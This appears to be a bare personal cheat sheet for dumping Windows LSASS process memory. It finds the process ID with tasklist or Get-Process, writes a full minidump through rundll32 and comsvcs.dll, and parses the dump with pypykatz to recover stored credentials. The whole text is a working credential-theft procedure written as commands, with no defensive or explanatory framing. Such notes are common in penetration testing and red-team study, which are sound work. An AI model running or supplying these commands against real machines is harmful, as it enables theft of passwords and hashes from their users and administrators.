Lsass

tasklist /svc

or

Get-Process lsass

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

pypykatz lsa minidump /home/peter/Documents/lsass.dmp